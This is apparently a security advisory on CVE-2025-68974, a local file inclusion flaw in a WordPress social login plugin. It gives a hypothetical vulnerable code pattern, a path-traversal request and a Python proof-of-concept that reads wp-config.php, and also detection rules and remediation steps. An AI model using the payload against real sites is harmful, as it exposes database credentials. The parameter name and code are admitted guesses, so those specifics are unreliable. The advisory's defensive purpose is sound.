CVE-2025-68974

Executive Summary

CVE-2025-68974 is a PHP Local File Inclusion (LFI) vulnerability in the WordPress plugin miniOrange Social Login and Register (miniorange-login-openid), affecting versions up to and including 7.7.0. The vulnerability stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials. The CVSS score is 6.6 (Medium), and no public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress admin dashboard or via the repository are affected. No supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component remains the same.
• Confidentiality (C): High (H) – Full file read access.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is 6.6, the ease of exploitation and potential for credential disclosure elevates the risk for WordPress sites using this plugin.

Deep Dive & Mechanics

The vulnerability exists in the miniorange-login-openid plugin's handling of file inclusion. The plugin likely uses a user-supplied parameter (e.g., mo_openid_file) to dynamically include a PHP file without proper sanitization or validation. An attacker can manipulate this parameter to include arbitrary files from the server's filesystem using path traversal sequences (e.g., ../../wp-config.php).

The core issue is a Local File Inclusion (LFI) via an include() or require() statement. The plugin fails to restrict the file path to a whitelist of allowed files, allowing an attacker to read sensitive files like:

• /etc/passwd
• /var/www/html/wp-config.php
• /proc/self/environ

This is a classic CWE-98 vulnerability, often found in plugins that load templates or configuration files based on user input.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable pattern.

Vulnerable Code (Hypothetical):

<?php
$file = $_GET['mo_openid_file'];
include(plugin_dir_path(__FILE__) . 'includes/' . $file . '.php');
?>

This code directly concatenates user input into the file path without validation.

Patched Code (Expected):

<?php
$allowed_files = array('login', 'register', 'callback');
$file = $_GET['mo_openid_file'];
if (in_array($file, $allowed_files)) {
    include(plugin_dir_path(__FILE__) . 'includes/' . $file . '.php');
} else {
    // Log error or return 404
}
?>

A proper patch would implement a whitelist of allowed filenames and reject any input not in the list.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install WordPress (e.g., version 6.0) on a local server (XAMPP, Docker, or LAMP).
2. Install the miniorange-login-openid plugin version 7.7.0.
3. Ensure the plugin is activated.

Exploitation Steps:

1. Identify the vulnerable parameter (likely mo_openid_file or similar). Use a web proxy (Burp Suite) to intercept requests.
2. Send a GET request to the vulnerable endpoint:

   GET /wp-content/plugins/miniorange-login-openid/?mo_openid_file=../../../../wp-config HTTP/1.1
   Host: target.com
   

   Note: The .php extension may be appended automatically.
3. If successful, the response will contain the contents of wp-config.php, revealing database credentials.

Proof of Concept (PoC) Script:

import requests

target = "http://target.com"
plugin_path = "/wp-content/plugins/miniorange-login-openid/"
payload = "?mo_openid_file=../../../../wp-config"

url = target + plugin_path + payload
response = requests.get(url)

if "DB_NAME" in response.text:
    print("[+] LFI successful! wp-config.php contents:")
    print(response.text)
else:
    print("[-] LFI failed.")

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests containing mo_openid_file with path traversal sequences (../).
• Look for unusual file reads (e.g., /etc/passwd, wp-config.php) in access logs.

Defense:

• Immediately disable or remove the plugin if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests containing mo_openid_file with ../.
• Restrict file permissions on wp-config.php to prevent web server user read access (though this may break functionality).

Indicators of Compromise (IOCs)

• File Paths: /wp-content/plugins/miniorange-login-openid/ with parameter mo_openid_file.
• Log Entries: GET requests containing mo_openid_file=..%2f..%2f..%2f..%2fwp-config or similar URL-encoded path traversal.
• Network Traffic: Outbound connections from the web server to attacker-controlled hosts (if used for exfiltration).
• File System: Unexpected access to /etc/passwd, /proc/self/environ, or other sensitive files.

Detection Engineering

YARA Rule

rule CVE_2025_68974_LFI_WordPress {
    meta:
        description = "Detects LFI attempts targeting miniOrange Social Login plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68974"
    strings:
        $param = "mo_openid_file"
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e\\"
    condition:
        $param and any of ($traversal*)
}

Sigma Rule

title: CVE-2025-68974 LFI Attempt on miniOrange Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with path traversal in mo_openid_file parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "mo_openid_file"
        cs-uri-query|contains: 
            - "../"
            - "..\\"
            - "%2e%2e%2f"
            - "%2e%2e\\"
    condition: selection
falsepositives:
    - Legitimate use of the parameter with valid paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-68974 LFI Attempt on miniOrange Plugin"; flow:to_server,established; content:"mo_openid_file"; http_uri; pcre:"/(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e\\)/i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete miniorange-login-openid until a patch is released.
2. Check for compromise – Review web server logs for LFI attempts and inspect wp-config.php for unauthorized modifications.
3. Rotate credentials – If the site was compromised, change all database passwords and WordPress salts.

Long-term Fix:

• Monitor the plugin's official page for a security update. Apply the patch as soon as it is released.
• Consider switching to an alternative social login plugin with a better security track record.

Workaround (if plugin must remain active):

• Implement a WAF rule to block requests containing mo_openid_file with path traversal characters.
• Use a file integrity monitoring tool to detect unauthorized file reads.

Valters IT
Securing Digital Frontiers